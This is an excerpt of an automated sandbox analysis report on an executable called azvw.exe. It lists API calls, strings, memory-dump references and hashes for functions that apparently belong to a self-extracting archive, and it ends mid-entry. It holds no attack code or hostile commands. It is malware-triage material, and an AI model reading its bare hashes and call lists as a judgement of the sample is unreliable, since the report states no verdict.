Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: azvw.exePID: 2380, Parent PID: 6784COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.1%
Total number of Nodes:	1584
Total number of Limit Nodes:	29

Executed Functions

Function 0041C29C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230
timefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(00000000,?,?,?,00000001), ref: 0041C303
GetDriveTypeA.KERNEL32(00000000), ref: 0041C35F
FileTimeToLocalFileTime.KERNEL32(?,00000000), ref: 0041C3C9
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 0041C3DF
FileTimeToLocalFileTime.KERNEL32(?,00000000), ref: 0041C435
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 0041C44B
FileTimeToLocalFileTime.KERNEL32(?,00000000), ref: 0041C4A3
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 0041C4B9
FindClose.KERNELBASE(?), ref: 0041C4F0
GetLastError.KERNEL32 ref: 0041C532
FindClose.KERNEL32(?), ref: 0041C542

Strings

./\, xrefs: 0041C317

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Time$File$FindLocalSystem$Close$DriveErrorFirstLastType
String ID: ./\
API String ID: 816071114-3176372042
Opcode ID: de69cfd65508da5e28b4097bf2a6a8e8f7020ae88d7c1538e3f84fae5ecebbca
Instruction ID: a4bf26b3288f0746aeaefe6eee33eeb9c95b8158a33583b504b7627764fa2a0b
Opcode Fuzzy Hash: de69cfd65508da5e28b4097bf2a6a8e8f7020ae88d7c1538e3f84fae5ecebbca
Instruction Fuzzy Hash: 3A815D72940229AACB20DFA5DC85AEFB7FCBF08341F00446BF555E2141E73C9A84CB69

Function 00416AF5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsValidCodePage.KERNEL32(00000000,004259A8,?,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00416BD9
IsValidLocale.KERNEL32(00000001,?,00000000), ref: 00416BEF
GetLocaleInfoA.KERNEL32(00001001,?,00000040,?,00000000), ref: 00416C30
GetLocaleInfoA.KERNEL32(00001002,?,00000040,?,00000000), ref: 00416C4B

Part of subcall function 00417226: GetVersionExA.KERNEL32(?), ref: 00417240

Part of subcall function 00417068: EnumSystemLocalesA.KERNEL32(0041709F,00000001,004259A8,?,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00417088

Strings

|1B, xrefs: 00416B3E
l-B, xrefs: 00416B62

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Locale$InfoValid$CodeEnumLocalesPageSystemVersion
String ID: l-B$|1B
API String ID: 4087412349-1682926205
Opcode ID: 14451e5f9ff0b11f7926cd449961003fc9334d28c4f7d9c07cbd2b1cfb64d6f8
Instruction ID: 77c45fc4a99a2d4965105fa733fd9383233311c3507932e8642f778f9422cabb
Opcode Fuzzy Hash: 14451e5f9ff0b11f7926cd449961003fc9334d28c4f7d9c07cbd2b1cfb64d6f8
Instruction Fuzzy Hash: C131F6717052609BD7309F61AC81AAB3AA5EB00704F5B403FE540D7391EABEE8C9C75D

Function 004194BD Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 196
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(00428F08,00000000,00000000,00000001,00000000,?,0040A354,?,00000000,?,?,?,?,0040144E), ref: 004194F5
WideCharToMultiByte.KERNEL32(00000220,Eastern Standard Time,00000000,0000003F,00000000,?,?,0040A354,?,00000000,?,?,?,?,0040144E), ref: 0041958A
WideCharToMultiByte.KERNEL32(00000220,Eastern Summer Time,00000000,0000003F,00000000,?,?,0040A354,?,00000000,?,?,?,?,0040144E), ref: 004195C4

Strings

Eastern Summer Time, xrefs: 004195B8
Eastern Standard Time, xrefs: 0041957E

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ByteCharMultiWide$InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 1904278450-239921721
Opcode ID: c9d78c50aff07665b13410a1bc301889d252633011d0570864fa1448f4cdbf1b
Instruction ID: d190c84c4cc0c26642eb153707845cbe8beff245003c06114f550f7d716fb191
Opcode Fuzzy Hash: c9d78c50aff07665b13410a1bc301889d252633011d0570864fa1448f4cdbf1b
Instruction Fuzzy Hash: 5561C1B1707250AFD7318F15AC61BAA7B9ABB45344F95003FE085872A5DF788CC2C66E

Function 0041713F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNELBASE(00001004,?,00000008,?,?,?,?,00416BCA,?,004259A8,?,00425924,0041303A,?,00428D8C,?), ref: 0041718E

Strings

OCP, xrefs: 00417162
ACP, xrefs: 00417151

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 4709dea30003b597f3d8250bd796ea7638c71e64de1883d2224e33a91a822167
Instruction ID: 903deaa607cf639364b7cc7254e85297317a472b98b4467e3dd4c96a9452e7fa
Opcode Fuzzy Hash: 4709dea30003b597f3d8250bd796ea7638c71e64de1883d2224e33a91a822167
Instruction Fuzzy Hash: 1CF0FC3264962439FB215751AC02FEB376C9F01751F50001FF940E52C1EB9C9BC5C29D

Function 00413F9E Relevance: 4.6, APIs: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(00407739), ref: 00413FAB
GetSystemTime.KERNEL32(?), ref: 00413FB5
GetTimeZoneInformation.KERNELBASE(?), ref: 0041400A

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Time$InformationLocalSystemZone
String ID:
API String ID: 2475273158-0
Opcode ID: dca7f0237e856ea5404fbb126ca6f1160033c27d591cee985ea1f73d045f6dfd
Instruction ID: 63eaa413687e3a0af9faf97127154bf37a26255f9c7758cb6ae69d944a5b3749
Opcode Fuzzy Hash: dca7f0237e856ea5404fbb126ca6f1160033c27d591cee985ea1f73d045f6dfd
Instruction Fuzzy Hash: 46218E39901015E9CB21AB9AD804AFF7BB9BB4C754F800416FA10E7294E7BD8DC6C76C

Function 0040F740 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 180
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(nircmdc.exe,40000000,00000002,00000000,00000003,00000080,00000000), ref: 0040F791
SetFileAttributesA.KERNEL32(nircmdc.exe,00000020), ref: 0040F7B5
GetLastError.KERNEL32(00000001), ref: 0040F7C1
GetLastError.KERNEL32(00000001), ref: 0040F8D5
SetFileTime.KERNELBASE(00000000,00000000,00000000,00000000), ref: 0040F939
GetLastError.KERNEL32(00000000), ref: 0040F944
CloseHandle.KERNEL32(00000000), ref: 0040F96E

Strings

SetFileTime failed: %d, xrefs: 0040F947
warning (%d): could not set file attributes, xrefs: 0040F7C4
%-22s , xrefs: 0040F864
CreateFile() error %d when trying set file time, xrefs: 0040F8D8
nircmdc.exe, xrefs: 0040F78C, 0040F7B0, 0040F833, 0040F859
compressed WinNT security data missing (%d bytes)%s, xrefs: 0040F8A8

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ErrorFileLast$AttributesCloseCreateHandleTime
String ID: CreateFile() error %d when trying set file time$SetFileTime failed: %d$warning (%d): could not set file attributes$ compressed WinNT security data missing (%d bytes)%s$%-22s $nircmdc.exe
API String ID: 1520554102-3763623673
Opcode ID: 1ffbace52059439494c2faa23457c508adb197eeee7fbb6a1e74a0cc17ef8ed0
Instruction ID: ec123f940c35398d6c20d288b992aaa82a19b0590d8110fdc60b447adca6d815
Opcode Fuzzy Hash: 1ffbace52059439494c2faa23457c508adb197eeee7fbb6a1e74a0cc17ef8ed0
Instruction Fuzzy Hash: 1C51B671B402117BE720AB28BC47FB77359EB54B14F94453AF814E22C2F6B8AC18826D

Function 0041AB18 Relevance: 13.7, APIs: 9, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringW.KERNELBASE(00000000,00000000,004231C4,00000001,004231C4,00000001,00000000,00573F6C,?,00000002,00428D60,004027DD,?,?,00000002,00428D60), ref: 0041AB56
CompareStringA.KERNEL32(00000000,00000000,004231C0,00000001,004231C0,00000001,?,00000002,00428D60,0040114F), ref: 0041AB73
CompareStringA.KERNEL32(?,?,00000000,0040114F,00428D60,00000002,00000000,00573F6C,?,00000002,00428D60,004027DD,?,?,00000002,00428D60), ref: 0041ABD1
GetCPInfo.KERNEL32(?,00000000,00000000,00573F6C,?,00000002,00428D60,004027DD,?,?,00000002,00428D60,0040114F), ref: 0041AC22
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000002,00000000,00000000,?,00000002,00428D60,0040114F), ref: 0041ACA1
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00000002,00000002,00000002,?,00000002,00428D60,0040114F), ref: 0041AD02
MultiByteToWideChar.KERNEL32(?,00000009,00428D60,00000002,00000000,00000000,?,00000002,00428D60,0040114F), ref: 0041AD15
MultiByteToWideChar.KERNEL32(?,00000001,00428D60,00000002,?,00000000,?,00000002,00428D60,0040114F), ref: 0041AD61
CompareStringW.KERNEL32(?,?,00000000,00000002,?,00000000,?,00000000,?,00000002,00428D60,0040114F), ref: 0041AD79

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide$Info
String ID:
API String ID: 1651298574-0
Opcode ID: 0b065d75f11689d4427d9752874f201de5120d531e926b8b3d271362c7dd42bd
Instruction ID: 8982f73b66f23a33087e68d4939e0b6a76c79f8fa55c1b86de23fe76a65e9542
Opcode Fuzzy Hash: 0b065d75f11689d4427d9752874f201de5120d531e926b8b3d271362c7dd42bd
Instruction Fuzzy Hash: 06719F71A05289AFCF219F94DC859EF7FB6EB05314F14412BF950A2260D3398CA5CB9B

Function 004101D0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?,?), ref: 0041026C
GetVolumeInformationA.KERNELBASE(C:/,?,00000104,?,?,?,?,00000104), ref: 004102EE

Strings

HPFS, xrefs: 0041033F
FAT, xrefs: 00410357
C:/, xrefs: 00410288, 004102A8, 004102DB, 004102F8
VFAT, xrefs: 00410319

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: FullInformationNamePathVolume
String ID: C:/$FAT$HPFS$VFAT
API String ID: 1555998374-1151019397
Opcode ID: f8df0c4a5d1451d0dd740bb05cf632a3427c018f7f5c4cc689e6d622af555a6f
Instruction ID: fd030fab3a41d782d0bfb313d5ad92de2eb91019b62ba207a93a103eae62fd2d
Opcode Fuzzy Hash: f8df0c4a5d1451d0dd740bb05cf632a3427c018f7f5c4cc689e6d622af555a6f
Instruction Fuzzy Hash: CB4159B16803406AE720DB20EC4BFEB37945F94708F44442AFD9486282F6FCD9D9839E

Function 00418AC8 Relevance: 7.6, APIs: 5, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00418B21
GetFileType.KERNEL32(00000800), ref: 00418BC7
GetStdHandle.KERNEL32(-000000F6), ref: 00418C20
GetFileType.KERNELBASE(00000000), ref: 00418C2E
SetHandleCount.KERNEL32 ref: 00418C65

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 894f89217b4e5f8dd3dc04c4c5fc2c2138c20e103943fbb2b5c6704336baf594
Instruction ID: 9f710145433f53a11f67beba66e492aa2ca87e5ae07b95c08d009534c858da6a
Opcode Fuzzy Hash: 894f89217b4e5f8dd3dc04c4c5fc2c2138c20e103943fbb2b5c6704336baf594
Instruction Fuzzy Hash: 7F5115B16082518BD7208F28CC447D67BA0AB12325F19866EF4A6CB3E1DB78E8C5C75D

Function 00413847 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00406A5A,error: zipfile read error,00413832,00000000,00000000,00000000,00406A5A,00000003,?,?,?,?,?,?,0040519A), ref: 00413857
TerminateProcess.KERNEL32(00000000,?,?,?,?,?,?,0040519A,?,?,?,?,?,?,?,?), ref: 0041385E
ExitProcess.KERNEL32 ref: 004138D8

Strings

error: zipfile read error, xrefs: 00413847

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID: error: zipfile read error
API String ID: 1703294689-3207815817
Opcode ID: 4a3ba93995f433487ece10c790bf92c59d29a896c2850f85550fccbc002a6eb2
Instruction ID: 9a9e4aaeeafff871062add6e916ef3ed514e9f96ede6102045d5c26cbba63ca5
Opcode Fuzzy Hash: 4a3ba93995f433487ece10c790bf92c59d29a896c2850f85550fccbc002a6eb2
Instruction Fuzzy Hash: AB01C431704310ABD6206F1AFC45A9ABBD5EB84315B50443FF444A22A0DBB959C5DB9E

Function 0040F6D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F6B0: GetVersion.KERNEL32(004028AB,?,?,ZIPINFOOPT,?,?,?,00401014,?,?,0041492C,00573F70), ref: 0040F6BA

SetFilePointer.KERNELBASE(00000000,?,00000000,00000000,00000000,0000AE00,?,?,000F8000,0040519A), ref: 0040F703

Strings

'h@, xrefs: 0040F6DE, 0040F6E2

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: FilePointerVersion
String ID: 'h@
API String ID: 2103187656-431696200
Opcode ID: c1835f4d64794c132d77b39ac591daec13a6916d697b3494fa6b8190a8c6d3bc
Instruction ID: 4378285b618a777efcf84251ec6a8b6b99a83c3f06562969f79921aa5accdbfc
Opcode Fuzzy Hash: c1835f4d64794c132d77b39ac591daec13a6916d697b3494fa6b8190a8c6d3bc
Instruction Fuzzy Hash: F1F0B43278421076E530A67DBC05FEF23488FD1774F100636F510EA1D0DA38988711AD

Function 0041B7F2 Relevance: 6.2, APIs: 4, Instructions: 230
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000001,80000000,00406700,0000000C,00000001,00000080,00000000,00000000,00000000,00000000), ref: 0041B99E
GetFileType.KERNELBASE(00000000), ref: 0041B9AB
CloseHandle.KERNEL32(00000000), ref: 0041B9B6
GetLastError.KERNEL32 ref: 0041B9BC

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastType
String ID:
API String ID: 1809617866-0
Opcode ID: 9034867e0e5f656806f9e8757dd3215358153a44656e4880629306d682652c13
Instruction ID: 0ae395d7474f1af9b9c6e449919d5970c2ed78d5f3119fdd6490fe40e80d97b9
Opcode Fuzzy Hash: 9034867e0e5f656806f9e8757dd3215358153a44656e4880629306d682652c13
Instruction Fuzzy Hash: B8811271D1420896EF209F68C8847EF7B64EF01768F28421FE951A63D1C7BC89C687CA

Function 0041B5E5 Relevance: 6.2, APIs: 4, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000100,00000000), ref: 0041B669
GetLastError.KERNEL32 ref: 0041B673
ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 0041B73A
GetLastError.KERNEL32 ref: 0041B744

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 662fd1020942aae6793e2087e8affa122bfdd206edd3d2d1eb422e75de9f09a4
Instruction ID: 5320c27688b98f5302928a735e1011bfd1bbdf3e9bbdda589cca2c7182946b54
Opcode Fuzzy Hash: 662fd1020942aae6793e2087e8affa122bfdd206edd3d2d1eb422e75de9f09a4
Instruction Fuzzy Hash: 5461D434604385DFDF218F58C884BEA7BB1EF66314F14409BE8618B391D37899C6CB9A

Function 00411DF0 Relevance: 6.2, APIs: 4, Instructions: 171
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000,00000001,?,?,?,004119DD,00000000,00439BA4), ref: 00411E2F
GetFileTime.KERNEL32(00000000,?,?,?,?,?,?,004119DD,00000000,00439BA4,00000000), ref: 00411E50
CloseHandle.KERNEL32(00000000,?,?,?,004119DD,00000000,00439BA4,00000000), ref: 00411E59

Part of subcall function 00412020: FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0041202E

Part of subcall function 00412020: FileTimeToSystemTime.KERNEL32(?,?), ref: 00412050

GetFileAttributesA.KERNELBASE(?,00000000,00000001,?,?,?,004119DD,00000000,00439BA4,00000000), ref: 00411F49

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: File$Time$AttributesCloseCreateHandleLocalSystem
String ID:
API String ID: 3576422975-0
Opcode ID: 3cad0420f0cdd6335c139d48f8f330720120e89d336076a35baf0621a384d64a
Instruction ID: 9a36ea26c0d62d6c96e4ebb2062f951fe69ccc09c33042294df6f6886f757777
Opcode Fuzzy Hash: 3cad0420f0cdd6335c139d48f8f330720120e89d336076a35baf0621a384d64a
Instruction Fuzzy Hash: 5751C3316043015BD710DF6AEC81BEBB7E8EB94764F440A2EFE44C3261F369E54A87A5

Function 00415612 Relevance: 6.1, APIs: 4, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,00000000,00000000,00000001,00000000,?), ref: 004156EA

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: ec952a0408a3cf418a3ec59ac1f76e10f98e980b2df25900257c814851cd74c4
Instruction ID: fd92a10f5c6077c0babe725d0f2bda95c351a5f2df5236355322924d052ad3e7
Opcode Fuzzy Hash: ec952a0408a3cf418a3ec59ac1f76e10f98e980b2df25900257c814851cd74c4
Instruction Fuzzy Hash: 9B51D431A00608EFCB11CF68C985BED7BB0BF95340F6481ABE825CB2D0D7349A81CB58

Function 0041908B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00000000,pVA,00000000,00000000,00000000,00000000,?,00415670,00000000,00000000,00000002,00000001,00000000,?), ref: 004190DA
GetLastError.KERNEL32 ref: 004190E7

Strings

pVA, xrefs: 004190D5

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: pVA
API String ID: 2976181284-1183464086
Opcode ID: 131327f381336626f51c1b1e4d4a234bfad70b39e4a78b2d7dc9e93e7cbb53e2
Instruction ID: fa06997a6f1e68cb521b0c2e02ae2bf62f6d0eade7be31b879ca3dfd74e60512
